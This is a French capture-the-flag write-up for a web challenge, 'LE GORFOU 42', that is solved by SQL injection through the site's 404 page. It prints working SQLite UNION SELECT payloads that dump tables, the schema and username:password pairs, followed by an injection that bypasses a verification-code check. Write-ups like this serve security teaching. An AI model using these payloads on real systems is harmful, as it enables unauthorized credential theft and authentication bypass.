⭐LE GORFOU 42
404CTF{Xx-@LL-MY-H0MI3Z-LUV-SQLI-xX}
Catégorie: Web Difficulté: medium Flag: -
Challenge
Description
Voici le site web du journal de football LE GORFOU 42 ! Il est tout neuf, dispose de quelques articles intéressants et, est super sécurisé... non ?
Connexion: https://le-gorfou-42.challenges.404ctf.fr
Ce challenge tourne sur un docker et n'est pas disponible
Trouver le point d'injection
Ce challenge consiste à exploiter une injection SQL, mais aucun des champs de saisie dans l'onglet articles ou connexion semblent vulnérables.
Il faut pour cela se rendre sur la page 404 en tapant n'importe quel chemin sur le site, par exemple /zob

La page présente alors un input vulnérable à une injection.

Exploitation basique
Comme on récupère une liste d'articles, on pense tout de suite à un UNION SELECT pour faire fuiter des informations. La requête effectuée sur le serveur va récupérer, a minima, le titre et le contenu des articles. On peut donc joindre les données à leak dedans.
Pour ça, on commence par identifier le nombre de colonnes :

On a donc 2 colonnes et la valeur de la seconde nous est renvoyée en tant que titre d'article, c'est ici que nous allons leak des données.
Payload : ' UNION SELECT 1, 2 --
Réponse : 2
De là, on peut identifier plus précisément le service de base de données ainsi que sa version
Payload : ' UNION SELECT 1, sqlite_version() --
Réponse : 3.40.1
On a donc confirmation que c'est du sqlite 3
Récupération d'un compte
Dump des tables
Ici on ne va pas réinventer la roue, donc on s'appuie sur des ressources comme PayloadsAllTheThings pour préparer nos requêtes
On commence par dump le nom des tables qui existent
Payload : ' UNION SELECT 1, group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --
Réponse : Xx_US3RS_xX,titles
Maintenant le nom des colonnes de la table Xx_US3RS_xX
Payload : ' UNION SELECT 1, sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='Xx_US3RS_xX'--
Réponse : CREATE TABLE Xx_US3RS_xX ( ID INTEGER PRIMARY KEY AUTOINCREMENT, Xx_US3RNAM3_xX VARCHAR(255) NOT NULL, Xx_PASSW0RD_xX VARCHAR(255) NOT NULL )
Donc voici la table des utilisateurs :
+-------------------------------+
| Xx_US3RS_xX |
+-------------------------------+
| ID | int |
| Xx_US3RNAM3_xX | varchar(255) |
| Xx_PASSW0RD_xX | varchar(255) |
+-------------------------------+
Dump du compte admin
Payload : ' UNION SELECT 1, group_concat(Xx_US3RNAM3_xX || ':' || Xx_PASSW0RD_xX) FROM Xx_US3RS_xX --
Réponse : journaliste_du_57:K#fBZM!4A593aN,journaliste_du_54:bQ3M^5RpjzVy^k,Xx_ADMINISTRAT0R_xX:Mk$nj5KzAE4Rg#
Voici les comptes extraits :
+--------------------------------------+
| username | password |
+--------------------------------------+
| journaliste_du_57 | K#fBZM!4A593aN |
| journaliste_du_54 | bQ3M^5RpjzVy^k |
| Xx_ADMINISTRAT0R_xX | Mk$nj5KzAE4Rg# |
+--------------------------------------+
On peut maintenant se connecter

Bypass vérification
Une fois connecté, on nous demande un code. Ici également, il s'agit d'une injection SQL dans le nom d'utilisateur.

Des tests permettent de générer des erreurs :
Username : ' OR 1=1 --
Code : test
Réponse : incomplete input
Username : '
Code : test
Réponse : unrecognized token: "''')"
Username : ' || 'test') --
Code : test
Réponse : Utilisateur inconnu
Avec Google et un peu d'intuition, les erreurs nous font dire que l'on injecte dans une fonction. En toute logique, on peut partir sur l'hypothèse que la fonction prend en paramètre le nom de l'utilisateur et retourne le code attendu, code qui est ensuite comparé avec celui que l'on envoie.
On va donc fermer la fonction puis faire un UNION SELECT pour retourner un code arbitraire
Username : ') UNION SELECT 'aboule_le_flag' --
Code : aboule_le_flag
Une fois la vérification passée, on peut accéder à la section "Administration" et récupérer le flag

Dernière mise à jour
Cet article vous a-t-il été utile ?